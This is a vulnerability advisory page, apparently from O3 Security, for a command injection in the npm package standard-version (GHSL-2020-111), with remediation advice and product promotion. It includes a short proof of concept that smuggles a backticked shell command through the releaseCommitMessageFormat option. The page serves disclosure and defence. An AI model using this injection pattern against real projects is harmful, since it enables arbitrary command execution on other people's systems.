How severe is GHSA-7xcx-6wjh-7xp2?

No CVSS score has been assigned to GHSA-7xcx-6wjh-7xp2 yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-7xcx-6wjh-7xp2?

GHSA-7xcx-6wjh-7xp2 affects the following packages: standard-version (npm). Ecosystems affected: npm.

How do I fix GHSA-7xcx-6wjh-7xp2?

Update standard-version to 8.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7xcx-6wjh-7xp2 is resolved across your whole dependency graph.

How do I detect GHSA-7xcx-6wjh-7xp2 in my npm dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for standard-version. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-7xcx-6wjh-7xp2 if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-7xcx-6wjh-7xp2?

O3 pinpoints whether GHSA-7xcx-6wjh-7xp2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-7xcx-6wjh-7xp2 actively exploited in the wild?

No public exploit code has been indexed for GHSA-7xcx-6wjh-7xp2 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

When was GHSA-7xcx-6wjh-7xp2 published, and has it been updated?

GHSA-7xcx-6wjh-7xp2 was published on July 13, 2020 and was last updated on September 22, 2021. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

📦 npm

Not in CISA KEV

GHSA-7xcx-6wjh-7xp2

GHSA-7xcx-6wjh-7xp2 is a remote code execution vulnerability in standard-version. O3 Security confirms whether GHSA-7xcx-6wjh-7xp2 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Command Injection in standard-version

Published

Jul 13, 2020

Updated

Sep 22, 2021

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 22, 2021 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

725other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

standard-versionnpm

687Kdownloads / week

Description

GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111`

The GitHub Security Lab team has identified a potential security vulnerability in standard-version.

Summary

The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

Product

Standard Version

Tested Version

Commit 2f04ac8

Details

Issue 1: Command injection in `standardVersion`

The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:

npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"

Now create a file with the following contents:

var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');

const standardVersion = require('standard-version')

standardVersion({
  noVerify: true,
  infile: 'foo.txt',
  releaseCommitMessageFormat: "bla `touch exploit`"
})

and run it:

node test.js

Notice that a file named exploit has been created.

This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples: CVE-2020-7646, CVE-2020-7614, CVE-2020-7597, CVE-2019-10778, CVE-2019-10776, CVE-2018-16462, CVE-2018-16461, CVE-2018-16460, CVE-2018-13797, CVE-2018-3786, CVE-2018-3772, CVE-2018-3746, CVE-2017-16100, CVE-2017-16042.

We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Credit

This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).

Contact

You can contact the GHSL team at [email protected], please include GHSL-2020-111 in any communication regarding this issue.

Disclosure Policy

This report is subject to our coordinated disclosure policy.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
📦npm	`standard-version`	all versions	8.0.1

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for standard-version. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update standard-version to 8.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7xcx-6wjh-7xp2 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7xcx-6wjh-7xp2 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-7xcx-6wjh-7xp2. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# GitHub Security Lab (GHSL) Vulnerability Report: `GHSL-2020-111` The [GitHub Security Lab](https://securitylab.github.com) team has identified a potential security vulnerability in [standard-version](https://github.com/conventional-changelog/standard-version). ## Summary The `standardVersion` function has a command injection vulnerability. Clients of the `standard-version` library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability. ## Product Standard Version ## Tested Version Commit [2f04ac8](https://github.com/conventional-changelog/s

O3 Security · Impact-Aware SCA

Is GHSA-7xcx-6wjh-7xp2 in your dependencies?

O3 detects GHSA-7xcx-6wjh-7xp2 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works